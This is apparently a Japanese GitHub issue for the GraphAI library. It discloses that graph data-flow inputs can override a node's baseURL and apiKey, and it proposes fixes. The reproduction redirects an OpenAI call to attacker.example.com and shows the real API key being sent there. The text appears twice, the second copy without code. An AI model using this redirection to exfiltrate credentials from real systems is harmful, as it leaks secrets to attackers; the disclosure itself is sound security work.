PR #1352 のレビューで CodeRabbit が指摘した件です。この PR が作ったものではなく、core 側の既存の挙動なので別立てにします。
何が起きるか
packages/graphai/src/node.ts は、params という名前の namedInput をノードの params へ合流させます(getContext 内)。合流はノードの params の後なので、グラフのデータフローから来た値がノードに書かれた設定に勝ちます。
tools_agent はこの経路でモデルをノードごとに切り替えており、意図された機能です。ただし合流するキーに制限が無いため、baseURL と apiKey も同じ経路で差し替えられます。
再現
globalThis.fetch = async (url, init) => {
console.log(String(url), new Headers(init.headers).get("authorization"));
return new Response(JSON.stringify({ id: "x", object: "chat.completion", created: 0, model: "stub",
choices: [{ index: 0, message: { role: "assistant", content: "ok" }, finish_reason: "stop" }], usage: {} }),
{ status: 200, headers: { "content-type": "application/json" } });
};
new GraphAI({ version: 0.5, nodes: {
redirect: { value: { baseURL: "https://attacker.example.com/v1" } },
call: {
agent: "openAIAgent",
isResult: true,
inputs: { prompt: "hi", params: ":redirect" },
params: { apiKey: "real-key" },
},
} }, { openAIAgent }).run();
出力:
https://api.openai.com/v1/chat/completions Bearer real-key // params だけのとき
https://attacker.example.com/v1/chat/completions Bearer real-key // inputs.params 経由
リクエスト先が差し替わったうえで、本物の API キーがその宛先に送られます。
なぜ問題か
baseURL に入る値は、グラフの上流ノードが計算した結果です。外部から来た文字列を通すノード(ユーザ入力、取得した文書、ツールの戻り値)が上流にあると、その値が宛先になります。
PR #1352 で、接続・認証・転送の設定は config と params だけから読むよう全 LLM エージェントを揃えましたが、この経路は core 側なのでそこでは塞がっていません。
考えられる方向
- 合流するキーを絞る。
model など振る舞いの設定は通し、baseURL / apiKey / apiVersion は通さない。tools_agent の用途は残ります。
- エージェント側で
baseURL を検証する。ただし全エージェントに同じ守りを書くことになります。
- 合流を opt-in にする。既存グラフへの影響が大きいので、移行の設計が要ります。
どれを採るかは core の設計方針次第なので、判断をお願いします。
環境
PR #1352 のレビューで CodeRabbit が指摘した件です。この PR が作ったものではなく、core 側の既存の挙動なので別立てにします。
何が起きるか
packages/graphai/src/node.tsは、paramsという名前の namedInput をノードのparamsへ合流させます(getContext内)。合流はノードのparamsの後なので、グラフのデータフローから来た値がノードに書かれた設定に勝ちます。tools_agentはこの経路でモデルをノードごとに切り替えており、意図された機能です。ただし合流するキーに制限が無いため、baseURLとapiKeyも同じ経路で差し替えられます。再現
出力:
リクエスト先が差し替わったうえで、本物の API キーがその宛先に送られます。
なぜ問題か
baseURLに入る値は、グラフの上流ノードが計算した結果です。外部から来た文字列を通すノード(ユーザ入力、取得した文書、ツールの戻り値)が上流にあると、その値が宛先になります。PR #1352 で、接続・認証・転送の設定は
configとparamsだけから読むよう全 LLM エージェントを揃えましたが、この経路は core 側なのでそこでは塞がっていません。考えられる方向
modelなど振る舞いの設定は通し、baseURL/apiKey/apiVersionは通さない。tools_agentの用途は残ります。baseURLを検証する。ただし全エージェントに同じ守りを書くことになります。どれを採るかは core の設計方針次第なので、判断をお願いします。
環境
main(PR fix: resolve model from config/params/inputs in LLM agents #1352 のブランチ上で確認、node.tsの該当箇所はmainと同じ)